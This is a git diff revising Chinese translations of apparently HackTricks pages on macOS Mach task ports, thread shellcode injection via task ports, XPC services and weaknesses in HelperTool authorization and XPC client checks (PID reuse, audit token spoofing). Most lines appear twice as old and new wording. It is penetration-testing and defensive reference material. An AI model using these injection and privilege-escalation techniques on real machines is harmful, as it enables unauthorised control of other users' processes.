||||
与此相关的有两个非常有趣的函数:
|
||||
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: 获取与指定的 `pid` 相关的任务的发送权限,并将其授予指定的 `target_task_port`(通常是使用 `mach_task_self()` 的调用任务,但也可以是不同任务上的发送端口。)
|
||||
- `pid_for_task(task, &pid)`: 给定一个任务的发送权限,查找该任务相关的PID。
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`:获取与指定的`pid`相关的任务的任务端口的SEND权限,并将其授予指定的`target_task_port`(通常是使用`mach_task_self()`的调用任务,但也可以是不同任务上的SEND端口。)
|
||||
- `pid_for_task(task, &pid)`:给定一个任务的SEND权限,查找该任务相关的PID。
|
||||
|
||||
为了在任务内执行操作,任务需要调用 `mach_task_self()` 来获取对自身的 `SEND` 权限(这使用 `task_self_trap` (28))。有了这个权限,任务可以执行多个操作,例如:
|
||||
为了在任务内执行操作,任务需要对自己调用`mach_task_self()`的`SEND`权限(使用`task_self_trap`(28))。有了这个权限,任务可以执行多个操作,例如:
|
||||
|
||||
- `task_threads`: 获取对任务线程的所有任务端口的发送权限
|
||||
- `task_info`: 获取有关任务的信息
|
||||
- `task_suspend/resume`: 暂停或恢复任务
|
||||
- `task_threads`:获取任务线程的所有任务端口的SEND权限
|
||||
- `task_info`:获取任务信息
|
||||
- `task_suspend/resume`:挂起或恢复任务
|
||||
- `task_[get/set]_special_port`
|
||||
- `thread_create`: 创建一个线程
|
||||
- `task_[get/set]_state`: 控制任务状态
|
||||
- 更多内容可以在 [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) 中找到
|
||||
- `thread_create`:创建线程
|
||||
- `task_[get/set]_state`:控制任务状态
|
||||
- 更多内容可以在[**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)中找到
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,拥有对 **不同任务** 的任务端口的发送权限,可以对不同任务执行此类操作。
|
||||
> 请注意,拥有对**不同任务**的任务端口的SEND权限,可以对不同任务执行此类操作。
|
||||
|
||||
此外,task_port 也是 **`vm_map`** 端口,允许使用 `vm_read()` 和 `vm_write()` 等函数 **读取和操作任务内的内存**。这基本上意味着,拥有对不同任务的 task_port 的发送权限的任务将能够 **注入代码到该任务中**。
|
||||
此外,task_port也是**`vm_map`**端口,允许使用`vm_read()`和`vm_write()`等函数**读取和操作**任务内的内存。这基本上意味着,拥有对不同任务的task_port的SEND权限的任务将能够**注入代码到该任务中**。
|
||||
|
||||
请记住,因为 **内核也是一个任务**,如果有人设法获得对 **`kernel_task`** 的 **SEND 权限**,它将能够使内核执行任何操作(越狱)。
|
||||
请记住,因为**内核也是一个任务**,如果有人设法获得对**`kernel_task`**的**SEND权限**,它将能够使内核执行任何操作(越狱)。
|
||||
|
||||
- 调用 `mach_task_self()` 来 **获取此端口的名称**,用于调用任务。此端口仅在 **`exec()`** 之间 **继承**;使用 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 `exec()` 在 suid 二进制文件后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`):
|
||||
- 如果应用具有 **`com.apple.security.get-task-allow` 权限**,则来自 **同一用户的进程可以访问任务端口**(通常由 Xcode 为调试添加)。**公证** 过程不会允许其用于生产版本。
|
||||
- 具有 **`com.apple.system-task-ports`** 权限的应用可以获取 **任何** 进程的任务端口,除了内核。在旧版本中称为 **`task_for_pid-allow`**。这仅授予 Apple 应用。
|
||||
- **Root 可以访问未使用 **hardened** 运行时编译的应用程序的任务端口(且不是来自 Apple 的)。**
|
||||
- 调用`mach_task_self()`以**获取此端口的名称**,用于调用任务。此端口仅在**`exec()`**中**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特例,任务在suid二进制文件的`exec()`后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是执行["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)同时进行`fork()`。
|
||||
- 访问端口的限制如下(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow`权限**,则来自**同一用户的进程可以访问任务端口**(通常由Xcode为调试添加)。**公证**过程不允许其用于生产版本。
|
||||
- 具有**`com.apple.system-task-ports`**权限的应用程序可以获取**任何**进程的任务端口,除了内核。在旧版本中称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
|
||||
- **Root可以访问未使用**硬化**运行时编译的应用程序的任务端口(且不是来自Apple的)。**
|
||||
|
||||
**任务名称端口:** 一个非特权版本的 _任务端口_。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。
|
||||
**任务名称端口:** 一个未特权版本的_task port_。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是`task_info()`。
|
||||
|
||||
### 线程端口
|
||||
|
||||
线程也有相关的端口,可以从调用 **`task_threads`** 的任务和使用 `processor_set_threads` 的处理器中看到。对线程端口的发送权限允许使用 `thread_act` 子系统中的函数,例如:
|
||||
线程也有相关的端口,可以从调用**`task_threads`**的任务和使用`processor_set_threads`的处理器中看到。对线程端口的SEND权限允许使用来自`thread_act`子系统的函数,例如:
|
||||
|
||||
- `thread_terminate`
|
||||
- `thread_[get/set]_state`
|
||||
@ -504,11 +504,12 @@ world.*/
|
||||
- `thread_info`
|
||||
- ...
|
||||
|
||||
任何线程都可以通过调用 **`mach_thread_sef`** 来获取此端口。
|
||||
任何线程都可以通过调用**`mach_thread_sef`**获取此端口。
|
||||
|
||||
### 通过任务端口在线程中注入 Shellcode
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
||||
您可以从以下位置获取Shellcode:
|
||||
|
||||
您可以从以下位置获取 shellcode:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
@ -560,7 +561,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果没有,您将需要使用**sudo**)。
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果不这样做,您将需要使用**sudo**)。
|
||||
|
||||
<details>
|
||||
|
||||
@ -776,9 +777,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
在 macOS 中,**线程** 可以通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在之前的注入中生成的线程是使用 Mach api 生成的,因此 **它不符合 posix 标准**。
|
||||
|
||||
能够 **注入一个简单的 shellcode** 来执行命令是因为它 **不需要与 posix** 兼容的 api,只需与 Mach 兼容即可。**更复杂的注入** 将需要 **线程** 也 **符合 posix 标准**。
|
||||
能够 **注入一个简单的 shellcode** 来执行命令是因为它 **不需要与 posix** 兼容的 api,只需与 Mach 兼容。**更复杂的注入** 将需要 **线程** 也 **符合 posix 标准**。
|
||||
|
||||
因此,为了 **改进线程**,它应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 从系统中 **加载一个 dylib**,因此,除了编写新的 shellcode 来执行不同的操作外,还可以加载自定义库。
|
||||
因此,为了 **改进线程**,它应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 来 **从系统加载一个 dylib**,因此不必编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
|
||||
|
||||
您可以在以下位置找到 **示例 dylibs**(例如,生成日志的那个,然后您可以监听它):
|
||||
|
||||
@ -1078,9 +1079,9 @@ macos-thread-injection-via-task-port.md
|
||||
|
||||
## 异常端口
|
||||
|
||||
当线程中发生异常时,该异常会发送到线程的指定异常端口。如果线程不处理它,则会发送到任务异常端口。如果任务不处理它,则会发送到由 launchd 管理的主机端口(在那里会被确认)。这称为异常分类。
|
||||
当线程中发生异常时,该异常会被发送到线程的指定异常端口。如果线程不处理它,则会发送到任务异常端口。如果任务不处理它,则会发送到由 launchd 管理的主机端口(在这里会被确认)。这称为异常分类。
|
||||
|
||||
请注意,通常如果没有正确处理,报告最终会由 ReportCrash 守护进程处理。然而,任务中的另一个线程可以管理该异常,这就是崩溃报告工具如 `PLCreashReporter` 所做的。
|
||||
请注意,通常如果没有正确处理,报告最终会被 ReportCrash 守护进程处理。然而,任务中的另一个线程可以管理该异常,这就是崩溃报告工具如 `PLCreashReporter` 所做的。
|
||||
|
||||
## 其他对象
|
||||
|
||||
@ -1104,8 +1105,8 @@ macos-thread-injection-via-task-port.md
|
||||
- `processor_set_stack_usage`
|
||||
- `processor_set_info`
|
||||
|
||||
正如在 [**这篇文章**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) 中提到的,过去这允许绕过之前提到的保护,以通过调用 **`processor_set_tasks`** 获取其他进程中的任务端口并控制它们,并在每个进程中获取主机端口。\
|
||||
如今,您需要 root 才能使用该功能,并且这受到保护,因此您只能在未受保护的进程上获取这些端口。
|
||||
正如在 [**这篇文章**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) 中提到的,以前这允许绕过之前提到的保护,以通过调用 **`processor_set_tasks`** 获取其他进程中的任务端口并控制它们,并在每个进程中获取主机端口。\
|
||||
如今,您需要 root 权限才能使用该功能,并且这受到保护,因此您只能在未受保护的进程上获取这些端口。
|
||||
|
||||
您可以尝试以下代码:
|
||||
|
||||
@ -1222,6 +1223,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
|
||||
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc/
|
||||
{{#endref}}
|
||||
@ -1234,6 +1236,7 @@ MIC basically **generates the needed code** for server and client to communicate
|
||||
|
||||
For more info check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的、异步的方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制了被攻陷进程可能造成的损害。
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的异步方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制了被攻陷进程可能造成的损害。
|
||||
|
||||
XPC 使用一种进程间通信(IPC)的形式,这是一组方法,允许在同一系统上运行的不同程序相互发送数据。
|
||||
|
||||
@ -14,15 +14,15 @@ XPC 的主要优点包括:
|
||||
2. **稳定性**:XPC 有助于将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以在不影响系统其余部分的情况下重新启动。
|
||||
3. **性能**:XPC 允许轻松的并发,因为不同的任务可以在不同的进程中同时运行。
|
||||
|
||||
唯一的 **缺点** 是 **将应用程序分离为多个进程** 并通过 XPC 进行通信的 **效率较低**。但在今天的系统中,这几乎是不可察觉的,且其好处更为明显。
|
||||
唯一的 **缺点** 是 **将应用程序分离为多个进程** 通过 XPC 进行通信的 **效率较低**。但在今天的系统中,这几乎是不可察觉的,且其好处更为显著。
|
||||
|
||||
## 应用特定的 XPC 服务
|
||||
|
||||
应用程序的 XPC 组件是 **在应用程序内部**。例如,在 Safari 中,您可以在 **`/Applications/Safari.app/Contents/XPCServices`** 中找到它们。它们的扩展名为 **`.xpc`**(如 **`com.apple.Safari.SandboxBroker.xpc`**),并且 **也与主二进制文件捆绑** 在一起:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
应用程序的 XPC 组件是 **在应用程序内部**。例如,在 Safari 中,您可以在 **`/Applications/Safari.app/Contents/XPCServices`** 找到它们。它们的扩展名为 **`.xpc`**(如 **`com.apple.Safari.SandboxBroker.xpc`**),并且 **也与主二进制文件捆绑** 在一起:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
正如您可能想到的,**XPC 组件将具有不同的权限和特权**,与其他 XPC 组件或主应用程序二进制文件不同。除非 XPC 服务在其 **Info.plist** 文件中配置了 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) 设置为“True”。在这种情况下,XPC 服务将在 **与调用它的应用程序相同的安全会话中** 运行。
|
||||
|
||||
XPC 服务由 **launchd** 在需要时 **启动**,并在所有任务 **完成** 后 **关闭** 以释放系统资源。**应用程序特定的 XPC 组件只能由该应用程序使用**,从而降低了与潜在漏洞相关的风险。
|
||||
XPC 服务由 **launchd** 在需要时 **启动**,并在所有任务 **完成** 后 **关闭** 以释放系统资源。**应用特定的 XPC 组件只能被应用程序使用**,从而降低了与潜在漏洞相关的风险。
|
||||
|
||||
## 系统范围的 XPC 服务
|
||||
|
||||
@ -69,21 +69,21 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
- **`xpc_object_t`**
|
||||
|
||||
每个 XPC 消息都是一个字典对象,简化了序列化和反序列化。此外,`libxpc.dylib` 声明了大多数数据类型,因此可以确保接收到的数据是预期的类型。在 C API 中,每个对象都是 `xpc_object_t`(其类型可以使用 `xpc_get_type(object)` 检查)。\
|
||||
此外,函数 `xpc_copy_description(object)` 可用于获取对象的字符串表示,这对于调试非常有用。\
|
||||
此外,函数 `xpc_copy_description(object)` 可用于获取对象的字符串表示,这对于调试目的非常有用。\
|
||||
这些对象还具有一些可调用的方法,如 `xpc_<object>_copy`、`xpc_<object>_equal`、`xpc_<object>_hash`、`xpc_<object>_serialize`、`xpc_<object>_deserialize`...
|
||||
|
||||
`xpc_object_t` 是通过调用 `xpc_<objetType>_create` 函数创建的,该函数内部调用 `_xpc_base_create(Class, Size)`,其中指明了对象的类类型(`XPC_TYPE_*` 之一)和大小(额外的 40B 将被添加到大小以存储元数据)。这意味着对象的数据将从偏移量 40B 开始。\
|
||||
因此,`xpc_<objectType>_t` 是 `xpc_object_t` 的一种子类,而 `xpc_object_t` 则是 `os_object_t*` 的子类。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,应该由开发者使用 `xpc_dictionary_[get/set]_<objectType>` 来获取或设置键的类型和实际值。
|
||||
> 请注意,使用 `xpc_dictionary_[get/set]_<objectType>` 获取或设置键的类型和实际值的应该是开发者。
|
||||
|
||||
- **`xpc_pipe`**
|
||||
|
||||
**`xpc_pipe`** 是一个 FIFO 管道,进程可以用来进行通信(通信使用 Mach 消息)。\
|
||||
可以通过调用 `xpc_pipe_create()` 或 `xpc_pipe_create_from_port()` 创建 XPC 服务器,后者使用特定的 Mach 端口创建它。然后,可以调用 `xpc_pipe_receive` 和 `xpc_pipe_try_receive` 来接收消息。
|
||||
|
||||
请注意,**`xpc_pipe`** 对象是一个 **`xpc_object_t`**,其结构中包含有关使用的两个 Mach 端口和名称(如果有)的信息。例如,守护进程 `secinitd` 在其 plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` 中配置了名为 `com.apple.secinitd` 的管道。
|
||||
请注意,**`xpc_pipe`** 对象是一个 **`xpc_object_t`**,其结构中包含有关使用的两个 Mach 端口和名称(如果有的话)的信息。例如,守护进程 `secinitd` 在其 plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` 中配置了名为 `com.apple.secinitd` 的管道。
|
||||
|
||||
**`xpc_pipe`** 的一个示例是 **`launchd`** 创建的 **bootstrap pipe**,使得共享 Mach 端口成为可能。
|
||||
|
||||
@ -99,7 +99,7 @@ XPC 使用 GCD 传递消息,此外它生成某些调度队列,如 `xpc.trans
|
||||
## XPC 服务
|
||||
|
||||
这些是位于其他项目的 **`XPCServices`** 文件夹中的 **`.xpc`** 扩展包,在 `Info.plist` 中,它们的 `CFBundlePackageType` 设置为 **`XPC!`**。\
|
||||
该文件具有其他配置键,如 `ServiceType`,可以是 Application、User、System 或 `_SandboxProfile`,可以定义沙箱或 `_AllowedClients`,可能指示与服务联系所需的权限或 ID。这些和其他配置选项在服务启动时将有助于配置服务。
|
||||
该文件具有其他配置键,如 `ServiceType`,可以是 Application、User、System 或 `_SandboxProfile`,可以定义沙箱或 `_AllowedClients`,可能指示联系服务所需的权限或 ID。这些和其他配置选项在服务启动时将有助于配置服务。
|
||||
|
||||
### 启动服务
|
||||
|
||||
@ -439,14 +439,14 @@ return;
|
||||
```
|
||||
## Remote XPC
|
||||
|
||||
此功能由 `RemoteXPC.framework`(来自 `libxpc`)提供,允许通过不同主机进行 XPC 通信。\
|
||||
此功能由 `RemoteXPC.framework`(来自 `libxpc`)提供,允许通过不同主机之间的 XPC 进行通信。\
|
||||
支持远程 XPC 的服务将在其 plist 中具有键 UsesRemoteXPC,就像 `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` 的情况一样。然而,尽管该服务将与 `launchd` 注册,但提供该功能的是 `UserEventAgent`,其插件为 `com.apple.remoted.plugin` 和 `com.apple.remoteservicediscovery.events.plugin`。
|
||||
|
||||
此外,`RemoteServiceDiscovery.framework` 允许从 `com.apple.remoted.plugin` 获取信息,暴露出如 `get_device`、`get_unique_device`、`connect` 等函数...
|
||||
|
||||
一旦使用 connect 并收集到服务的 socket `fd`,就可以使用 `remote_xpc_connection_*` 类。
|
||||
|
||||
可以使用 CLI 工具 `/usr/libexec/remotectl` 获取有关远程服务的信息,使用的参数包括:
|
||||
可以使用 cli 工具 `/usr/libexec/remotectl` 获取有关远程服务的信息,使用的参数包括:
|
||||
```bash
|
||||
/usr/libexec/remotectl list # Get bridge devices
|
||||
/usr/libexec/remotectl show ...# Get device properties and services
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
苹果还提出了另一种方法来验证连接进程是否具有 **调用暴露的 XPC 方法的权限**。
|
||||
|
||||
当应用程序需要 **以特权用户身份执行操作** 时,通常不会以特权用户身份运行该应用程序,而是作为 root 安装一个 HelperTool 作为 XPC 服务,可以从应用程序调用以执行这些操作。然而,调用该服务的应用程序应该具有足够的授权。
|
||||
当应用程序需要 **以特权用户身份执行操作** 时,它通常不会以特权用户身份运行,而是作为 root 安装一个 HelperTool 作为 XPC 服务,可以从应用程序调用以执行这些操作。然而,调用该服务的应用程序应该具有足够的授权。
|
||||
|
||||
### ShouldAcceptNewConnection 始终为 YES
|
||||
|
||||
@ -27,7 +27,8 @@ newConnection.exportedObject = self;
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
有关如何正确配置此检查的更多信息,请参见:
|
||||
有关如何正确配置此检查的更多信息:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc-connecting-process-check/
|
||||
@ -35,7 +36,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
### 应用程序权限
|
||||
|
||||
然而,当调用 HelperTool 的方法时,确实存在一些 **授权**。
|
||||
然而,当调用 HelperTool 中的方法时,确实会进行一些 **授权**。
|
||||
|
||||
`App/AppDelegate.m` 中的 **`applicationDidFinishLaunching`** 函数将在应用程序启动后创建一个空的授权引用。这应该始终有效。\
|
||||
然后,它将尝试通过调用 `setupAuthorizationRights` 来 **添加一些权限** 到该授权引用:
|
||||
@ -62,7 +63,7 @@ if (self->_authRef) {
|
||||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
`setupAuthorizationRights` 函数来自 `Common/Common.m`,将把应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意,它只会添加尚未在数据库中的权限:
|
||||
函数 `setupAuthorizationRights` 来自 `Common/Common.m`,将把应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意,它只会添加尚未在数据库中的权限:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
@ -94,7 +95,7 @@ assert(blockErr == errAuthorizationSuccess);
|
||||
}];
|
||||
}
|
||||
```
|
||||
函数 `enumerateRightsUsingBlock` 用于获取应用程序权限,这些权限在 `commandInfo` 中定义:
|
||||
函数 `enumerateRightsUsingBlock` 用于获取在 `commandInfo` 中定义的应用程序权限:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
@ -172,9 +173,9 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||
}];
|
||||
}
|
||||
```
|
||||
这意味着在这个过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,您可以找到 **每种方法** 需要 **身份验证** 的 **权限名称** 和 **`kCommandKeyAuthRightDefault`**。后者 **指示谁可以获得此权限**。
|
||||
这意味着在这个过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,您可以找到 **每种方法** 需要 **身份验证**、**权限名称** 和 **`kCommandKeyAuthRightDefault`**。后者 **指示谁可以获得此权限**。
|
||||
|
||||
有不同的范围来指示谁可以访问某个权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) 中定义(您可以在 [这里找到所有权限](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
|
||||
有不同的范围来指示谁可以访问某个权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) 中定义(您可以在 [这里找到所有内容](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">名称</th><th width="165">值</th><th>描述</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>任何人</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>没有人</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>当前用户需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>要求用户进行身份验证。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>要求用户进行身份验证。他需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>指定规则</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>指定一些关于权限的额外评论</td></tr></tbody></table>
|
||||
|
||||
@ -252,7 +253,7 @@ security authorizationdb read com.apple.safaridriver.allow
|
||||
- 这是最直接的键。如果设置为`false`,则表示用户不需要提供身份验证即可获得此权限。
|
||||
- 这与下面的两个中的一个或指示用户必须属于的组结合使用。
|
||||
2. **'allow-root': 'true'**
|
||||
- 如果用户以root用户身份操作(具有提升的权限),并且此键设置为`true`,则root用户可能在没有进一步身份验证的情况下获得此权限。然而,通常情况下,获得root用户状态已经需要身份验证,因此对于大多数用户来说,这并不是一个“无身份验证”的场景。
|
||||
- 如果用户以根用户身份操作(具有提升的权限),并且此键设置为`true`,则根用户可能在没有进一步身份验证的情况下获得此权限。然而,通常情况下,获得根用户状态已经需要身份验证,因此对于大多数用户来说,这并不是一个“无身份验证”的场景。
|
||||
3. **'session-owner': 'true'**
|
||||
- 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,这可能会绕过额外的身份验证。
|
||||
4. **'shared': 'true'**
|
||||
@ -291,7 +292,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||
|
||||
在这种情况下,我们与 EvenBetterAuthorizationSample 中的相同,[**查看这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
知道所使用的协议名称后,可以使用以下命令 **转储其头文件定义**:
|
||||
知道所使用的协议名称后,可以使用以下命令 **转储其头部定义**:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
@ -329,7 +330,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
在此示例中创建了:
|
||||
|
||||
- 协议的定义及其函数
|
||||
- 一个空的身份验证以请求访问
|
||||
- 一个空的授权,用于请求访问
|
||||
- 与 XPC 服务的连接
|
||||
- 如果连接成功,则调用该函数
|
||||
```objectivec
|
||||
|
||||
@ -8,17 +8,17 @@
|
||||
|
||||
1. 检查连接的 **进程是否使用 Apple 签名** 的证书(仅由 Apple 发放)。
|
||||
- 如果 **未验证**,攻击者可以创建一个 **伪造证书** 来匹配其他检查。
|
||||
2. 检查连接的进程是否使用 **组织的证书**(团队 ID 验证)。
|
||||
2. 检查连接进程是否使用 **组织的证书**(团队 ID 验证)。
|
||||
- 如果 **未验证**,可以使用 **任何开发者证书** 从 Apple 进行签名,并连接到服务。
|
||||
3. 检查连接的进程 **是否包含正确的包 ID**。
|
||||
3. 检查连接进程 **是否包含正确的包 ID**。
|
||||
- 如果 **未验证**,任何 **由同一组织签名的工具** 都可以用来与 XPC 服务交互。
|
||||
4. (4 或 5) 检查连接的进程是否具有 **正确的软件版本号**。
|
||||
4. (4 或 5) 检查连接进程是否具有 **正确的软件版本号**。
|
||||
- 如果 **未验证**,旧的、不安全的客户端,易受进程注入攻击,可以在其他检查到位的情况下连接到 XPC 服务。
|
||||
5. (4 或 5) 检查连接的进程是否具有没有危险权限的 **强化运行时**(例如允许加载任意库或使用 DYLD 环境变量的权限)。
|
||||
5. (4 或 5) 检查连接进程是否具有没有危险权限的 **强化运行时**(如允许加载任意库或使用 DYLD 环境变量的权限)。
|
||||
1. 如果 **未验证**,客户端可能 **易受代码注入** 攻击。
|
||||
6. 检查连接的进程是否具有允许其连接到服务的 **权限**。这适用于 Apple 二进制文件。
|
||||
6. 检查连接进程是否具有允许其连接到服务的 **权限**。这适用于 Apple 二进制文件。
|
||||
7. **验证** 必须 **基于** 连接 **客户端的审计令牌** **而不是** 其进程 ID (**PID**),因为前者可以防止 **PID 重用攻击**。
|
||||
- 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 可能会 **随时更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||
- 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 可能会 **随时更改**。此外,私有 API 的使用在 Mac App Store 应用中是不允许的。
|
||||
- 如果使用 **`processIdentifier`** 方法,可能会存在漏洞。
|
||||
- 应使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能 [存在漏洞](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
|
||||
|
||||
@ -36,9 +36,9 @@ macos-pid-reuse.md
|
||||
macos-xpc_connection_get_audit_token-attack.md
|
||||
{{#endref}}
|
||||
|
||||
### Trustcache - 降级攻击防护
|
||||
### Trustcache - 降级攻击防范
|
||||
|
||||
Trustcache 是一种防御方法,旨在 Apple Silicon 机器中引入,存储 Apple 二进制文件的 CDHSAH 数据库,以便仅允许未修改的二进制文件执行。这可以防止降级版本的执行。
|
||||
Trustcache 是一种防御方法,在 Apple Silicon 机器中引入,存储 Apple 二进制文件的 CDHSAH 数据库,以便仅允许未修改的二进制文件执行。这可以防止降级版本的执行。
|
||||
|
||||
### 代码示例
|
||||
|
||||
@ -49,9 +49,9 @@ Trustcache 是一种防御方法,旨在 Apple Silicon 机器中引入,存储
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
对象 NSXPCConnection 具有一个 **私有** 属性 **`auditToken`**(应该使用但可能会更改)和一个 **公共** 属性 **`processIdentifier`**(不应该使用)。
|
||||
对象 NSXPCConnection 有一个 **private** 属性 **`auditToken`**(应该使用但可能会更改)和一个 **public** 属性 **`processIdentifier`**(不应该使用)。
|
||||
|
||||
可以通过以下方式验证连接的进程:
|
||||
连接进程可以通过以下方式进行验证:
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。这是一个摘要:
|
||||
**有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。这是一个总结:
|
||||
|
||||
## Mach 消息基本信息
|
||||
|
||||
如果你不知道 Mach 消息是什么,请开始查看此页面:
|
||||
如果你不知道 Mach 消息是什么,请开始查看这个页面:
|
||||
|
||||
{{#ref}}
|
||||
../../
|
||||
